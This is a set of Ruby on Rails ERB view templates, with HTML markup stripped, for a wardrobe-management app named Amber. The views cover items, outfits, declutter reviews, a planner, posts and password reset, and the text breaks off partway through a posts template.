`rails/amber/app/views/ai/suggest_outfits.html.erb`\n```erb\n&lt;% content_for :title, t(\"amber.outfits.suggest_title\", default: \"Outfit suggestions (MASTER vision)\") %&gt;\n\n&lt;%= t(\"amber.outfits.suggest_title\", default: \"Outfit suggestions (MASTER vision)\") %&gt;\n\n&lt;%= t(\"amber.outfits.vision_hint\", default: \"MASTER vision analyses your item photos + metadata to pick 3-item combinations.\") %&gt;\n\n&lt;%= form_with url: ai_suggest_outfits_path, method: :get, class: \"form\" do |f| %&gt;\n  \n\n    &lt;%= t(\"amber.outfits.occasion\", default: \"Occasion\") %&gt;\n    &lt;%= f.text_field :occasion, value: params[:occasion], placeholder: t(\"amber.outfits.occasion_ph\", default: \"e.g. date, work, travel\") %&gt;\n  \n  \n\n    &lt;%= t(\"amber.outfits.season\", default: \"Season\") %&gt;\n    &lt;%= f.select :season, Item::SEASONS, { selected: params[:season] }, { include_blank: t(\"amber.outfits.any\", default: \"Any\") } %&gt;\n  \n  \n\n    &lt;%= f.submit t(\"amber.outfits.generate_vision\", default: \"Generate with MASTER vision\"), class: \"btn btn--primary\" %&gt;\n    &lt;%= button_to t(\"amber.outfits.save_first\", default: \"Generate &amp; save first as outfit\"), ai_generate_outfit_path, method: :post, params: { occasion: params[:occasion], season: params[:season] }, class: \"btn\", form_class: \"inline\" %&gt;\n  \n&lt;% end %&gt;\n\n&lt;% if @suggestions.present? %&gt;\n  &lt;% @suggestions.each_with_index do |s, i| %&gt;\n    \n\n      \n&lt;%= s[\"name\"] || t(\"amber.outfits.option\", default: \"Option\") + \" #{i + 1}\" %&gt;\n      \n&lt;%= Array(s[\"items\"]).join(\", \") %&gt;\n      \n&lt;%= s[\"description\"] %&gt;\n      &lt;% if s[\"outfit_id\"] %&gt;\n        \n&lt;%= link_to t(\"amber.outfits.view_generated\", default: \"View generated Outfit with visual\"), outfit_path(s[\"outfit_id\"]), class: \"btn\" %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n&lt;%= t(\"amber.outfits.empty_hint\", default: \"Submit the form to see vision-suggested outfits from your wardrobe photos.\") %&gt;\n&lt;% end %&gt;\n\n\n&lt;%= link_to t(\"amber.outfits.back_wardrobe\", default: \"Back to wardrobe\"), items_path %&gt;\n```\n\n## `rails/amber/app/views/declutter/index.html.erb`\n```erb\n\n\n  \n\n    \nDeclutter\n    \nReview low-use, duplicate, and decision-ready wardrobe items.\n  \n\n  &lt;% if @summary.present? %&gt;\n    \n\n      \nSummary\n      \n\n        &lt;% @summary.each do |key, value| %&gt;\n          \n&lt;%= key.to_s.humanize %&gt;\n          \n&lt;%= value %&gt;\n        &lt;% end %&gt;\n      \n    \n  &lt;% end %&gt;\n\n  \n\n    \nDuplicate groups\n    &lt;% if @duplicates.present? %&gt;\n      &lt;% @duplicates.each do |group| %&gt;\n        \n\n          &lt;% items = group.respond_to?(:items) ? group.items : Array(group[:items] || group[\"items\"] || group) %&gt;\n          \n&lt;%= pluralize(items.size, \"item\") %&gt;\n          \n\n            &lt;% items.each do |item| %&gt;\n              &lt;%= render \"items/item\", item: item %&gt;\n              &lt;%= link_to \"Review\", review_declutter_path(item), class: \"btn-sm\" %&gt;\n            &lt;% end %&gt;\n          \n        \n      &lt;% end %&gt;\n    &lt;% else %&gt;\n      \nNo duplicate groups need review.\n    &lt;% end %&gt;\n  \n\n```\n\n## `rails/amber/app/views/declutter/review.html.erb`\n```erb\n\n\n  \n\n    \nDeclutter review\n    \n&lt;%= @item.title %&gt;\n  \n\n  \n\n    &lt;%= render \"items/item\", item: @item %&gt;\n  \n\n  &lt;% if @score.present? %&gt;\n    \n\n      \nScore\n      \n&lt;%= @score %&gt;\n    \n  &lt;% end %&gt;\n\n  &lt;% if @action.present? %&gt;\n    \n\n      \nRecommended action\n      \n&lt;%= @action[:recommendation] || @action[\"recommendation\"] || @action %&gt;\n    \n  &lt;% end %&gt;\n\n  \n\n    \nDecision\n    &lt;%= form_with model: @review, url: update_review_declutter_path(@item), method: :patch do |form| %&gt;\n      \n\n        &lt;%= form.label :decision %&gt;\n        &lt;%= form.select :decision, %w[keep wear_this_week repair sell donate release], include_blank: true %&gt;\n      \n\n      \n\n        &lt;%= form.label :reason_kept %&gt;\n        &lt;%= form.text_field :reason_kept %&gt;\n      \n\n      \n\n        &lt;%= form.label :notes %&gt;\n        &lt;%= form.text_area :notes, rows: 4 %&gt;\n      \n\n      &lt;%= form.submit \"Save review\" %&gt;\n    &lt;% end %&gt;\n  \n\n  \n\n    \nMove item\n    \n\n      &lt;% %w[keep wear_this_week repair sell donate release].each do |target| %&gt;\n        &lt;%= button_to target.humanize, move_declutter_path(@item, target: target), method: :patch, class: \"btn-sm\" %&gt;\n      &lt;% end %&gt;\n    \n  \n\n  \n\n    \nWear-it-this-week challenge\n    &lt;%= form_with url: challenge_declutter_path(@item), method: :post do |form| %&gt;\n      \n\n        &lt;%= form.label :due_on %&gt;\n        &lt;%= form.date_field :due_on %&gt;\n      \n      \n\n        &lt;%= form.label :note %&gt;\n        &lt;%= form.text_field :note %&gt;\n      \n      &lt;%= form.submit \"Create challenge\" %&gt;\n    &lt;% end %&gt;\n  \n\n  &lt;% if @last_chance.present? %&gt;\n    \n\n      \nLast chance outfits\n      \n\n        &lt;% @last_chance.each do |suggestion| %&gt;\n          \n&lt;%= suggestion.respond_to?(:title) ? suggestion.title : suggestion %&gt;\n        &lt;% end %&gt;\n      \n    \n  &lt;% end %&gt;\n\n```\n\n## `rails/amber/app/views/home/index.html.erb`\n```erb\n&lt;% content_for :title, \"Dashboard\" %&gt;\n&lt;% if authenticated? %&gt;\n  &lt;% if @weather %&gt;\n    \n\n      &lt;%= @weather[:description] %&gt; \u00b7 &lt;%= @weather[:temp] %&gt;\u00b0C\n      &lt;% if @weather[:temp] &lt; 10 %&gt;\u00b7 Wear layers&lt;% elsif @weather[:temp] &gt; 20 %&gt;\u00b7 Light fabrics&lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n  \n\n    \n\n      \n\nItems\n&lt;%= @items_count %&gt;\n      \n\nSpark joy\n&lt;%= @joy_count %&gt;\n      \n\nNever worn\n&lt;%= @never_worn_count %&gt;\n      \n\nUtilisation\n&lt;%= @utilization_rate %&gt;%\n    \n    \n\n      &lt;%= link_to \"Add item\", new_item_path, class: \"btn\" %&gt;\n      &lt;%= link_to \"Search wardrobe\", ai_search_path, class: \"btn\" %&gt;\n      &lt;%= link_to \"Capsule plan\", ai_capsule_path, class: \"btn\" %&gt;\n    \n  \n\n  &lt;% if @planned_this_week.any? %&gt;\n    \n\n      \nThis week\n      \n\n        &lt;% @planned_this_week.each do |plan| %&gt;\n          \n\n            &lt;%= plan.planned_date.strftime(\"%a %-d\") %&gt;\n            &lt;%= link_to plan.outfit.name, plan.outfit %&gt;\n            &lt;%= button_to \"\u2715\", planned_outfit_path(plan), method: :delete, class: \"btn-link\" %&gt;\n          \n        &lt;% end %&gt;\n      \n    \n  &lt;% end %&gt;\n\n  &lt;% if @worst_cpw.any? %&gt;\n    \n\n      \nWorst cost-per-wear\n      \n\n        &lt;% @worst_cpw.each do |item| %&gt;\n          \n\n            &lt;%= link_to item.title, item %&gt;\n            \u00a3&lt;%= item.cost_per_wear %&gt;/wear \u00b7 worn &lt;%= item.times_worn %&gt;\u00d7\n          \n        &lt;% end %&gt;\n      \n    \n  &lt;% end %&gt;\n\n  &lt;% if @aging_unworn.any? %&gt;\n    \n\n      \nAging unworn\n      \n&lt;%= render @aging_unworn %&gt;\n    \n  &lt;% end %&gt;\n\n  &lt;% if @recent_items.any? %&gt;\n    \nRecent\n    \n&lt;%= render @recent_items %&gt;\n    \n&lt;%= link_to \"All items \u2192\", items_path %&gt;\n  &lt;% else %&gt;\n    \n&lt;%= link_to \"Add your first item\", new_item_path %&gt;\n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \nWelcome to Amber. &lt;%= link_to \"Sign in\", new_session_path %&gt; to manage your wardrobe.\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/items/_form.html.erb`\n```erb\n&lt;%= form_with model: item, class: \"form\" do |f| %&gt;\n  &lt;%= render \"shared/errors\", object: item %&gt;\n  \n&lt;%= f.label :title %&gt;&lt;%= f.text_field :title, autofocus: true %&gt;\n  \n\n    &lt;%= f.label :category %&gt;\n    &lt;%= f.select :category, Item::CATEGORIES, include_blank: \"Select\u2026\" %&gt;\n  \n  \n&lt;%= f.label :color %&gt;&lt;%= f.text_field :color %&gt;\n  \n&lt;%= f.label :size %&gt;&lt;%= f.text_field :size %&gt;\n  \n&lt;%= f.label :material %&gt;&lt;%= f.text_field :material %&gt;\n  \n&lt;%= f.label :brand %&gt;&lt;%= f.text_field :brand %&gt;\n  \n&lt;%= f.label :price %&gt;&lt;%= f.number_field :price, step: \"0.01\", min: 0 %&gt;\n  \n&lt;%= f.label :purchase_date %&gt;&lt;%= f.date_field :purchase_date %&gt;\n  \n\n    &lt;%= f.label :season %&gt;\n    &lt;%= f.select :season, Item::SEASONS, include_blank: \"Select\u2026\" %&gt;\n  \n  \n\n    &lt;%= f.label :occasion_tags, \"Occasions (comma-separated)\" %&gt;\n    &lt;%= f.text_field :occasion_tags, placeholder: \"work, casual, formal\" %&gt;\n  \n  \n\n    &lt;%= f.label :mood_effect, \"Mood effect\" %&gt;\n    &lt;%= f.select :mood_effect, Item::MOOD_EFFECTS, include_blank: \"Not set\" %&gt;\n  \n  \n\n    &lt;%= f.label :life_phase, \"Life phase\" %&gt;\n    &lt;%= f.select :life_phase, Item::LIFE_PHASES, include_blank: \"Not set\" %&gt;\n  \n  \n&lt;%= f.label :photos %&gt;&lt;%= f.file_field :photos, multiple: true, accept: \"image/*\" %&gt;\n  \n&lt;%= f.submit class: \"btn\" %&gt; &lt;%= link_to \"Cancel\", items_path %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/items/_item.html.erb`\n```erb\n\n\n  &lt;% if item.photos.attached? %&gt;\n    &lt;%= image_tag item.photos.first.variant(resize_to_fill: [300, 300]), class: \"item-photo\" %&gt;\n  &lt;% end %&gt;\n  &lt;%= link_to item.title, item, class: \"item-title\" %&gt;\n  &lt;%= item.category %&gt;&lt;%= \" \u00b7 #{item.color}\" if item.color.present? %&gt;\n  Worn &lt;%= item.times_worn.to_i %&gt;\u00d7 \u00b7 &lt;%= item.value_label %&gt;\n  \n\n    &lt;%= button_to \"Wear\", wear_item_path(item), method: :post, class: \"btn-sm\" %&gt;\n    &lt;% unless item.spark_joy? %&gt;\n      &lt;%= button_to \"Joy\", spark_joy_item_path(item), method: :post, class: \"btn-sm\" %&gt;\n    &lt;% end %&gt;\n    &lt;%= link_to \"Edit\", edit_item_path(item), class: \"btn-sm\" %&gt;\n  \n\n```\n\n## `rails/amber/app/views/items/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit\" %&gt;\n\nEdit &lt;%= @item.title %&gt;\n&lt;%= render \"form\", item: @item %&gt;\n```\n\n## `rails/amber/app/views/items/index.html.erb`\n```erb\n&lt;% content_for :title, \"Wardrobe\" %&gt;\n&lt;%= turbo_stream_from \"items\" %&gt;\n\n\n\n  \n\n    \n\n      \nCloset intelligence\n      \nWardrobe (&lt;%= @pagy.count %&gt;)\n    \n    \n\n      &lt;%= link_to \"Add item\", new_item_path, class: \"btn\" %&gt;\n      &lt;%= link_to \"Plan outfit\", new_outfit_path, class: \"btn\" %&gt;\n      &lt;%= link_to \"Shopping list (gaps)\", shopping_list_items_path, class: \"btn\" %&gt;\n      &lt;%= link_to \"Style profile quiz\", ai_style_profile_path, class: \"btn\" %&gt;\n      &lt;%= link_to \"Packing list generator\", ai_packing_list_path, class: \"btn\" %&gt;\n      &lt;%= link_to t(\"amber.nav.ai_suggest\", default: \"AI outfit suggestions (vision)\"), ai_suggest_outfits_path, class: \"btn\" %&gt;\n      &lt;%= link_to \"Declutter\", declutter_index_path, class: \"btn\" %&gt;\n      &lt;%= button_to \"Archive out-of-season\", archive_seasonal_items_path, method: :post, class: \"btn\" %&gt;\n      &lt;%= button_to \"Resurface seasonal\", resurface_seasonal_items_path, method: :post, class: \"btn\" %&gt;\n    \n  \n\n  \n\n    &lt;%= pluralize(@items.sum { |item| item.times_worn.to_i }, \"wear\") %&gt; on this page\n    &lt;%= @items.count(&amp;:spark_joy?) %&gt; joy keepers\n    &lt;%= @items.map(&amp;:category).compact.uniq.size %&gt; categories\n  \n\n  \n\n    Filter by category\n    \n      All\n      &lt;% Item::CATEGORIES.each do |category| %&gt;\n        &lt;%= category %&gt;\n      &lt;% end %&gt;\n    \n  \n\n  \n\n    &lt;%= render @items %&gt;\n  \n\n  &lt;% if @items.empty? %&gt;\n    \n\n      \nNo wardrobe items yet. Add your first item to start recommendations, capsules, and decluttering.\n    \n  &lt;% end %&gt;\n\n  &lt;%= pagy_nav(@pagy) if @pagy.pages &gt; 1 %&gt;\n\n```\n\n## `rails/amber/app/views/items/new.html.erb`\n```erb\n&lt;% content_for :title, \"Add item\" %&gt;\n\nAdd item\n&lt;%= render \"form\", item: @item %&gt;\n```\n\n## `rails/amber/app/views/items/shopping_list.html.erb`\n```erb\n&lt;% content_for :title, \"Shopping list\" %&gt;\n\n\nShopping list \u2014 gaps to fill\n\n&lt;% if @gaps.any? %&gt;\n  \n\n    &lt;% @gaps.each do |gap| %&gt;\n      \n\n        &lt;%= gap[:category] || gap[:name] %&gt;\n        \n&lt;%= gap[:reason] %&gt;\n        &lt;% if gap[:missing] %&gt;missing &lt;%= gap[:missing] %&gt;&lt;% end %&gt;\n        &lt;% if gap[:owned] %&gt;owned &lt;%= gap[:owned] %&gt; / &lt;%= gap[:target] %&gt;&lt;% end %&gt;\n      \n    &lt;% end %&gt;\n  \n&lt;% else %&gt;\n  \nNo gaps detected. Your wardrobe looks complete for essentials!\n&lt;% end %&gt;\n\n\nMASTER purchase recommendations\n&lt;% if @recommendations.any? %&gt;\n  \n\n    &lt;% @recommendations.each do |rec| %&gt;\n      \n\n        &lt;%= rec.reason %&gt;\n        score &lt;%= rec.score %&gt;\n      \n    &lt;% end %&gt;\n  \n&lt;% else %&gt;\n  \nNo recommendations yet. Run the gap analysis or add more items.\n&lt;% end %&gt;\n\n&lt;%= link_to \"Back to wardrobe\", items_path, class: \"btn\" %&gt;\n```\n\n## `rails/amber/app/views/items/show.html.erb`\n```erb\n&lt;% content_for :title, @item.title %&gt;\n\n\n\n  &lt;% if @item.photos.attached? %&gt;\n    \n\n      &lt;% @item.photos.each do |photo| %&gt;\n        &lt;%= image_tag photo.variant(resize_to_limit: [600, 600]) %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n  \n\n    \n\n      \n&lt;%= @item.category %&gt;&lt;%= \" \u00b7 #{@item.brand}\" if @item.brand.present? %&gt;\n      \n&lt;%= @item.title %&gt;\n    \n    &lt;% if @item.spark_joy? %&gt;Sparks joy&lt;% end %&gt;\n  \n\n  \n\n    &lt;%= pluralize(@item.times_worn.to_i, \"wear\") %&gt;\n    &lt;% if @item.price? &amp;&amp; @item.times_worn.to_i.positive? %&gt;\n      &lt;%= number_to_currency(@item.price / @item.times_worn.to_i) %&gt; per wear\n    &lt;% end %&gt;\n    &lt;% if @item.lifecycle_state.present? %&gt;&lt;%= @item.lifecycle_state.humanize %&gt;&lt;% end %&gt;\n  \n\n  \n\n    \nCategory\n&lt;%= @item.category %&gt;\n    &lt;% if @item.color.present? %&gt;\nColor\n&lt;%= @item.color %&gt;&lt;% end %&gt;\n    &lt;% if @item.size.present? %&gt;\nSize\n&lt;%= @item.size %&gt;&lt;% end %&gt;\n    &lt;% if @item.material.present? %&gt;\nMaterial\n&lt;%= @item.material %&gt;&lt;% end %&gt;\n    &lt;% if @item.brand.present? %&gt;\nBrand\n&lt;%= @item.brand %&gt;&lt;% end %&gt;\n    &lt;% if @item.price? %&gt;\nPrice\n&lt;%= number_to_currency(@item.price) %&gt;&lt;% end %&gt;\n    \nWorn\n&lt;%= @item.times_worn.to_i %&gt; times\n    &lt;% if @item.purchase_date? %&gt;\nPurchased\n&lt;%= @item.purchase_date.strftime(\"%b %Y\") %&gt;&lt;% end %&gt;\n  \n\n  &lt;% if @item.mood_effect.present? || @item.life_phase.present? %&gt;\n    \n\n      &lt;% if @item.mood_effect.present? %&gt;Mood: &lt;%= @item.mood_effect %&gt;&lt;% end %&gt;\n      &lt;% if @item.life_phase.present? %&gt;&lt;%= @item.life_phase %&gt;&lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n  \n\n    \nWardrobe intelligence\n    \nUse AI analysis for tags, mood, capsule fit, and declutter decisions.\n    \n\n    \n\n  \n\n  \n\n    &lt;%= button_to \"Worn today\", wear_item_path(@item), method: :post, class: \"btn\" %&gt;\n    &lt;%= button_to \"AI analyse\", ai_analyze_item_path(@item), method: :post, class: \"btn\" %&gt;\n    &lt;%= button_to \"AI tag mood\", ai_tag_item_path(@item), method: :post, class: \"btn\" %&gt;\n    &lt;%= link_to \"Declutter review\", review_declutter_path(@item), class: \"btn\" %&gt;\n    &lt;%= link_to \"Edit\", edit_item_path(@item), class: \"btn\" %&gt;\n    &lt;%= button_to \"Delete\", @item, method: :delete, data: { turbo_confirm: \"Remove this item?\" }, class: \"btn btn-danger\" %&gt;\n  \n\n```\n\n## `rails/amber/app/views/layouts/application.html.erb`\n```erb\n\n\n\n  \n  \n  \n  \n  &lt;%= content_for?(:title) ? \"#{yield :title} \u2014 Amber\" : \"Amber\" %&gt;\n  \"&gt;\n  \"&gt;\n  \n  \"&gt;\n  \"&gt;\n  \n  \n  \n  \"&gt;\n  \"&gt;\n  &lt;%= csrf_meta_tags %&gt;\n  &lt;%= csp_meta_tag %&gt;\n  \n  \n  &lt;%= tag.link rel: \"manifest\", href: pwa_manifest_path(format: :json) %&gt;\n  \n  \n  \n  &lt;%= stylesheet_link_tag \"application\", \"data-turbo-track\": \"reload\" %&gt;\n  &lt;%= yield :json_ld %&gt;\n  &lt;%= javascript_importmap_tags %&gt;\n  &lt;%= render \"shared/minimal_ui\" %&gt;\n\n\n\n\n  &lt;%= link_to root_path, class: \"brand\", aria: { label: \"Amber home\" } do %&gt;\n    &lt;%= render \"shared/logo\" %&gt;\n  &lt;% end %&gt;\n  &lt;% if authenticated? %&gt;\n    &lt;%= link_to \"Feed\",      feed_posts_path %&gt;\n    &lt;%= link_to \"Post\",      new_post_path %&gt;\n    &lt;%= link_to \"Wardrobe\",  items_path %&gt;\n    &lt;%= link_to \"Outfits\",       outfits_path %&gt;\n    &lt;%= link_to \"Style\",         dressing_room_outfits_path %&gt;\n    &lt;%= link_to \"Planner\",       planned_outfits_path %&gt;\n    &lt;%= link_to \"Search\",    ai_search_path %&gt;\n    &lt;%= link_to \"Occasions\", ai_occasions_path %&gt;\n    &lt;%= link_to \"Sign out\",  session_path, data: { turbo_method: :delete } %&gt;\n  &lt;% else %&gt;\n    &lt;%= link_to \"Sign in\", new_session_path %&gt;\n    &lt;%= link_to \"Sign up\", new_registration_path %&gt;\n  &lt;% end %&gt;\n\n&lt;%= render \"shared/flash\" %&gt;\n\n&lt;%= yield %&gt;\n\n\n```\n\n## `rails/amber/app/views/layouts/mailer.html.erb`\n```erb\n\n\n  \n    \n    \n      /* Email styles need to be inline */\n    \n  \n\n  \n    &lt;%= yield %&gt;\n  \n\n```\n\n## `rails/amber/app/views/layouts/mailer.text.erb`\n```erb\n&lt;%= yield %&gt;\n```\n\n## `rails/amber/app/views/outfits/_form.html.erb`\n```erb\n&lt;%= form_with model: outfit, class: \"form\" do |f| %&gt;\n  &lt;%= render \"shared/errors\", object: outfit %&gt;\n  \n&lt;%= f.label :name %&gt;&lt;%= f.text_field :name, autofocus: true %&gt;\n  \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 3 %&gt;\n  \n\n    &lt;%= f.label :category %&gt;\n    &lt;%= f.select :category, %w[Casual Formal Work Workout Evening], include_blank: \"Select\u2026\" %&gt;\n  \n  \n\n    &lt;%= f.label :season %&gt;\n    &lt;%= f.select :season, Item::SEASONS, include_blank: \"Select\u2026\" %&gt;\n  \n  \n&lt;%= f.label :occasion %&gt;&lt;%= f.text_field :occasion %&gt;\n  \n&lt;%= f.submit class: \"btn\" %&gt; &lt;%= link_to \"Cancel\", outfits_path %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/amber/app/views/outfits/_outfit.html.erb`\n```erb\n\n\n  &lt;% if outfit.image.attached? %&gt;\n    &lt;%= link_to outfit, class: \"item-title\" do %&gt;\n      &lt;%= image_tag outfit.image.variant(resize_to_limit: [200, 200]), style: \"max-width:100%; height:auto;\" %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n  &lt;%= link_to outfit.name, outfit, class: \"item-title\" %&gt;\n  &lt;%= outfit.context_label.presence || \"No context yet\" %&gt;\n  &lt;%= outfit.items.count %&gt; items \u00b7 &lt;%= outfit.likes_count.to_i %&gt; likes\n  &lt;%= pluralize(outfit.total_wears, \"combined wear\") %&gt;\n\n```\n\n## `rails/amber/app/views/outfits/dressing_room.html.erb`\n```erb\n&lt;% content_for :title, \"Style\" %&gt;\n&lt;%\n  zones_json = @zones.transform_values { |items|\n    items.map { |item|\n      { id: item.id, name: item.title, color: item.color.to_s,\n        url: item.photos.attached? ? url_for(item.photos.first.variant(resize_to_limit: [480, 480])) : nil }\n    }\n  }.to_json\n%&gt;\n\n\n\n\n  \n\n    \n\n      \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n      \n\n      \n\n        \n      \n      \n\n        \n      \n      \n\n        \n      \n      \n\n        \n      \n    \n  \n\n  \n\n    &lt;% { head: \"Accessories\", top: \"Tops\", bottom: \"Bottoms\", shoes: \"Shoes\" }.each do |zone, label| %&gt;\n      \n\n        &lt;%= label %&gt;\n        \u2039\n        \n          \u2014\n          \n        \n        \u203a\n      \n    &lt;% end %&gt;\n  \n\n  \n\n    &lt;%= link_to \"Save as outfit\", new_outfit_path, class: \"btn\" %&gt;\n  \n\n```\n\n## `rails/amber/app/views/outfits/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit outfit\" %&gt;\n\nEdit &lt;%= @outfit.name %&gt;\n&lt;%= render \"form\", outfit: @outfit %&gt;\n```\n\n## `rails/amber/app/views/outfits/index.html.erb`\n```erb\n&lt;% content_for :title, \"Outfits\" %&gt;\n&lt;%= turbo_stream_from \"outfits\" %&gt;\n\n\n\n  \n\n    \nStyle combinations\n    \nOutfits\n  \n  \n\n    &lt;%= link_to \"New outfit\", new_outfit_path, class: \"btn\" %&gt;\n    &lt;%= link_to \"Dressing room\", dressing_room_outfits_path, class: \"btn\" %&gt;\n    &lt;%= link_to t(\"amber.nav.ai_suggest\", default: \"AI outfit suggestions (vision)\"), ai_suggest_outfits_path, class: \"btn\" %&gt;\n  \n\n\n\n\n  &lt;%= pluralize(@outfits.sum { |outfit| outfit.items.count }, \"linked item\") %&gt;\n  &lt;%= pluralize(@outfits.sum { |outfit| outfit.likes_count.to_i }, \"like\") %&gt;\n  &lt;%= pluralize(@outfits.sum(&amp;:total_wears), \"combined wear\") %&gt;\n\n\n\n&lt;%= render @outfits %&gt;\n\n&lt;% if @outfits.empty? %&gt;\n  \n\nNo outfits yet. Start with a capsule, event, season, or mood.\n&lt;% end %&gt;\n\n&lt;%= pagy_nav(@pagy) if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/amber/app/views/outfits/new.html.erb`\n```erb\n&lt;% content_for :title, \"New outfit\" %&gt;\n\nNew outfit\n&lt;%= render \"form\", outfit: @outfit %&gt;\n```\n\n## `rails/amber/app/views/outfits/show.html.erb`\n```erb\n&lt;% content_for :title, @outfit.name %&gt;\n\n\n\n  \n\n    \n&lt;%= @outfit.context_label.presence || \"Outfit\" %&gt;\n    \n&lt;%= @outfit.name %&gt;\n  \n\n\n\n\n  &lt;%= pluralize(@outfit.items.count, \"item\") %&gt;\n  &lt;%= pluralize(@outfit.likes_count.to_i, \"like\") %&gt;\n  &lt;%= pluralize(@outfit.total_wears, \"combined wear\") %&gt;\n  &lt;% if @outfit.estimated_value.positive? %&gt;&lt;%= number_to_currency(@outfit.estimated_value) %&gt; wardrobe value&lt;% end %&gt;\n\n\n&lt;% if @outfit.description.present? %&gt;\n  \n&lt;%= @outfit.description %&gt;\n&lt;% else %&gt;\n  \nAdd a description to capture why this outfit works.\n&lt;% end %&gt;\n\n&lt;% if @outfit.image.attached? %&gt;\n  \n\n    &lt;%= image_tag @outfit.image, style: \"max-width: 400px; height: auto;\" %&gt;\n  \n&lt;% end %&gt;\n\n\n\n  \nItems\n  \n&lt;%= render @outfit.items %&gt;\n\n\n\n\n  \nStyle intelligence\n  \nUse this outfit as a signal for future capsules, weather-aware recommendations, event styling, and declutter decisions.\n\n\n\n\n  &lt;%= button_to \"Like (#{@outfit.likes_count.to_i})\", like_outfit_path(@outfit), method: :post, class: \"btn\" %&gt;\n  &lt;%= button_to \"Share to brgen\", share_outfit_path(@outfit), method: :post, class: \"btn\" %&gt;\n  &lt;%= button_to \"Wear again\", wear_outfit_path(@outfit), method: :post, class: \"btn\" %&gt;\n  &lt;%= link_to \"Edit\", edit_outfit_path(@outfit), class: \"btn\" %&gt;\n  &lt;%= link_to \"All outfits\", outfits_path, class: \"btn\" %&gt;\n  &lt;%= button_to \"Delete\", @outfit, method: :delete, data: { turbo_confirm: \"Delete?\" }, class: \"btn btn-danger\" %&gt;\n\n```\n\n## `rails/amber/app/views/passwords/edit.html.erb`\n```erb\n\n\n  \nNew password\n  &lt;%= form_with model: @user, url: password_path(params[:token]), method: :put do |f| %&gt;\n    \n\n      &lt;%= f.label :password, \"New password\" %&gt;\n      &lt;%= f.password_field :password, autocomplete: \"new-password\" %&gt;\n    \n    \n\n      &lt;%= f.label :password_confirmation, \"Confirm password\" %&gt;\n      &lt;%= f.password_field :password_confirmation, autocomplete: \"new-password\" %&gt;\n    \n    \n\n      &lt;%= f.submit \"Set password\", class: \"btn btn--primary\" %&gt;\n    \n  &lt;% end %&gt;\n\n```\n\n## `rails/amber/app/views/passwords/new.html.erb`\n```erb\n\n\n  \nReset password\n  &lt;%= form_with url: passwords_path do |f| %&gt;\n    \n\n      &lt;%= f.label :email_address, \"Email\" %&gt;\n      &lt;%= f.email_field :email_address, autofocus: true, autocomplete: \"email\" %&gt;\n    \n    \n\n      &lt;%= f.submit \"Send reset link\", class: \"btn btn--primary\" %&gt;\n    \n  &lt;% end %&gt;\n\n```\n\n## `rails/amber/app/views/passwords_mailer/reset.html.erb`\n```erb\n\n\n  You can reset your password on\n  &lt;%= link_to \"this password reset page\", edit_password_url(@user.password_reset_token) %&gt;.\n\n  This link will expire in &lt;%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %&gt;.\n\n```\n\n## `rails/amber/app/views/passwords_mailer/reset.text.erb`\n```erb\nYou can reset your password on\n&lt;%= edit_password_url(@user.password_reset_token) %&gt;\n\nThis link will expire in &lt;%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %&gt;.\n```\n\n## `rails/amber/app/views/planned_outfits/index.html.erb`\n```erb\n&lt;% content_for :title, \"Planner\" %&gt;\n&lt;%= turbo_stream_from \"planned_outfits\" %&gt;\n\nOutfit Planner\n&lt;%= form_with model: PlannedOutfit.new, url: planned_outfits_path do |f| %&gt;\n  \n\n    &lt;%= f.date_field :planned_date, min: Date.today, class: \"input\" %&gt;\n    &lt;%= f.select :outfit_id, @outfits.map { |o| [o.name, o.id] }, { include_blank: \"Select outfit\u2026\" } %&gt;\n    &lt;%= f.text_field :notes, placeholder: \"Notes\u2026\" %&gt;\n    &lt;%= f.submit \"Plan it\", class: \"btn\" %&gt;\n  \n&lt;% end %&gt;\n\n\n  &lt;% @planned.each do |plan| %&gt;\n    \n\n      &lt;%= plan.planned_date.strftime(\"%A %-d %b\") %&gt;\n      &lt;%= link_to plan.outfit.name, plan.outfit %&gt;\n      &lt;% if plan.notes.present? %&gt;&lt;%= plan.notes %&gt;&lt;% end %&gt;\n      &lt;%= button_to \"\u2715\", planned_outfit_path(plan), method: :delete, class: \"btn-link\" %&gt;\n    \n  &lt;% end %&gt;\n  &lt;% if @planned.empty? %&gt;\n    \nNo outfits planned yet.\n  &lt;% end %&gt;\n\n```\n\n## `rails/amber/app/views/posts/_post.html.erb`\n```erb\n\n\n  \n\n    &lt;%= link_to post.user.email_address.split(\"@\").first, user_path(post.user) %&gt;\n    &lt;%= time_ago_in_words(post.created_at) %&gt; ago\n  \n  \n&lt;%= post.body %&gt;\n  &lt;% if post.outfit %&gt;\nOutfit: &lt;%= link_to post.outfit.name, outfit_path(post.outfit) %&gt;&lt;% end %&gt;\n  &lt;% if post.item %&gt;\nItem: &lt;%= link_to post.item.title, item_path(post.item) %&gt;&lt;% end %&gt;\n  \n\n    &lt;%= button_to \"\u2665 #{post.likes_count}\", like_post_path(post), method: :post %&gt;\n    &lt;% if post.user == Current.user %&gt;\n      &lt;%= button_to \"Delete\", post_path(post), method: :delete, data: { turbo_confirm: \"Delete?\" } %&gt;\n    &lt;% end %&gt;\n  \n\n```\n\n## `rails/amber/app/views/posts/feed.html.erb`\n```erb\n\nYour Feed\n&lt;%= link_to \"New post\", new_post_path, class: \"btn\" %&gt;\n&lt;%= render @posts %&gt;\n&lt;%= pagy_nav(@pagy) if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/amber/app/views/posts/index.html.erb`\n```erb\n&lt;%= turbo_stream_from \"posts\" %&gt;\n\nCommunity\n&lt;%= render @posts %&gt;\n&lt;%= pagy_nav(@pagy) if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/amber/app/views/posts/new.html.erb`\n```erb\n\nShare a look\n&lt;%= form_with model: @post do 